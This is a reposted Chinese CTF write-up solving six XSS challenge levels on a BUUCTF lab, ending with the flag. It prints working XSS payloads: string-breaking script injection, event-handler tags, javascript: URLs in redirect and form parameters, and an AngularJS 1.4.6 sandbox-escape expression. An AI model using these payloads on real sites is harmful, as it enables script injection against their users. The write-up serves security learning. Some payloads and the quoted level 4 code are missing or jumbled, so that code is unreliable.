从0到1CTFer成长之路-第二章-XSS的魔力
发布日期:2021-06-29 11:27:43 浏览次数:2 分类:技术文章

本文共 3075 字,大约阅读时间需要 10 分钟。


XSS的魔力

声明

好好向大佬们学习!!!

攻击

XSS的魔力

这简直就是一场javascript的代码审计心酸历程

摘自

https://book.nu1l.com/tasks/#/https://blog.csdn.net/hxhxhxhxx/article/details/112784856https://blog.csdn.net/rfrder/article/details/108930033

使用BUUCTF在线环境

https://buuoj.cn/challenges

都是用谷歌浏览器访问

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn

在这里插入图片描述

在这里插入图片描述

1关

点击按钮“点我开始”

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level1?username=xss

在这里插入图片描述

经观察,修改URL中username参数值,改成多少,页面就会进行回显,并且直接拼接到welcome后面,那么就可以直接构造标签了,最简单的,反手一个script标签

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level1?username=

在这里插入图片描述

2关

依旧是回显

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level2?username=xss

在这里插入图片描述

输入script标签,发现被转码了,右键查看源码

在这里插入图片描述

发现当我们URL中username的值为111时,就会拼接到代码第五行构成

var username = '111';

也就是说代码第五行是动态改变的,为

var username = '我们输入的东东';

这个就和SQL注入的思想太像了,可以参考SQL注入的堆叠注入,闭合前面的单引号,注释后面的单引号,然后再把我们的js代码插入进去,不就自动就在这个script标签中执行了

如果我们输入

';alert(1);'

拼接前

var username = '我们输入的东东';

拼接后

var username = '';alert(1);'';

等价于

var username = '';alert(1);'';

自然就会执行alert(1)了

在这里插入图片描述

3关

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level3?username=xss

输入第二关的答案,发现’被转义成\'了

在这里插入图片描述

输入script标签发现神奇的事,自动给我加上了闭合的标签,但是却不能执行标签里面的代码

在这里插入图片描述

这时候想到了书中的一句话,几乎任何一个标签都可以执行on事件,改用别的标签+on事件试试

先输入一个a标签试试水,发现确实可以用

在这里插入图片描述

使用a标签+鼠标滑过事件

111

当鼠标滑过增加的这个a标签时,触发alert

在这里插入图片描述

4关

每过十秒就会重定向刷一次页面

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level4

在这里插入图片描述

这个连参数什么的都没给,只能右键查看源码了

在这里插入图片描述

主要看script标签中的,我个人对js代码也不是完全熟悉,就是靠大概意思理解

//这里细说,这个循环虽然很简单,但是逻辑不是只言片语就能说清楚的,所以我们采取变量跟踪的方式//假设构造jumpUrl=,那么variable=jumpUrl=//query为:username=xss&jumpUrl=//vars为 vars[0]: username=xss, vars[1]: jumpUrl=}//开始进入for循环,i=0,vars.length为2,i
alert(1)fanh,variable=jumpUrl//pair[0] == variable成立,执行return,将
返回,这个函数的结果为
//到上面后innerHTML就拼上了这么一段//所以要强让这个函数不返回false,就必须在for循环中return,这就要求我们传过来的url中,必须带着jumpUrl参数function getQueryVariable(variable=jumpUrl=){ var query = window.location.search.substring(1); var vars = query.split("&"); for (var i=0;i

输入

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level4?username=xss&jumpUrl=

等待十秒后执行失败,因为代码中还有一段escape函数会进行特殊字符的转码,所以这里使用伪协议

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level4?username=xss&jumpUrl=javascript:alert(1)

等待十秒后,跳转,触发伪协议中的代码

在这里插入图片描述

5关

也是没有给什么参数,但是有个输入框,输入框输什么都没回显+失败

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level5

在这里插入图片描述

看源码吧

在这里插入图片描述

类比4关,这里相当于绕了个弯

输入

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level5?autosubmit=1&action=javascript:alert(1)

在这里插入图片描述

6关

这个就是比较难了,参考以下文章

https://nosec.org/home/detail/4153.htmlhttps://xz.aliyun.com/t/4638

访问

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level6?username=xss

在这里插入图片描述

返现和第一关的形式一样了,毕竟最后一关了,肯定是第一关的超级难绕过版,username中输入各种标签,都不行,这里是真的被当成字符串了,颜色都变了

在这里插入图片描述

打开Wappalyzer,来一波信息搜集,发现 AngularJS 1.4.6

在这里插入图片描述

查看该文章,发现Angular表达式,莫名有点像struts2的OGNL表达式,只不过是前端前端版的RCE

https://nosec.org/home/detail/4153.html

输入

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level6?username={
{2*3}}

在这里插入图片描述

查看该文章,发现Angular表达式终极利用代码

https://xz.aliyun.com/t/4638

输入

http://75348824-4a49-4f22-a868-81f174e5d13b.node3.buuoj.cn/level6?username={
{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

在这里插入图片描述

拿到flag

n1book{xss_is_so_interesting}

在这里插入图片描述

在这里插入图片描述

转载地址:https://blog.csdn.net/zy15667076526/article/details/114139496 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:从0到1CTFer成长之路-第二章-Web文件上传漏洞
下一篇:从0到1CTFer成长之路-第二章-命令执行漏洞

发表评论

最新留言

初次前来,多多关照!
[***.217.46.12]2024年04月20日 04时17分47秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章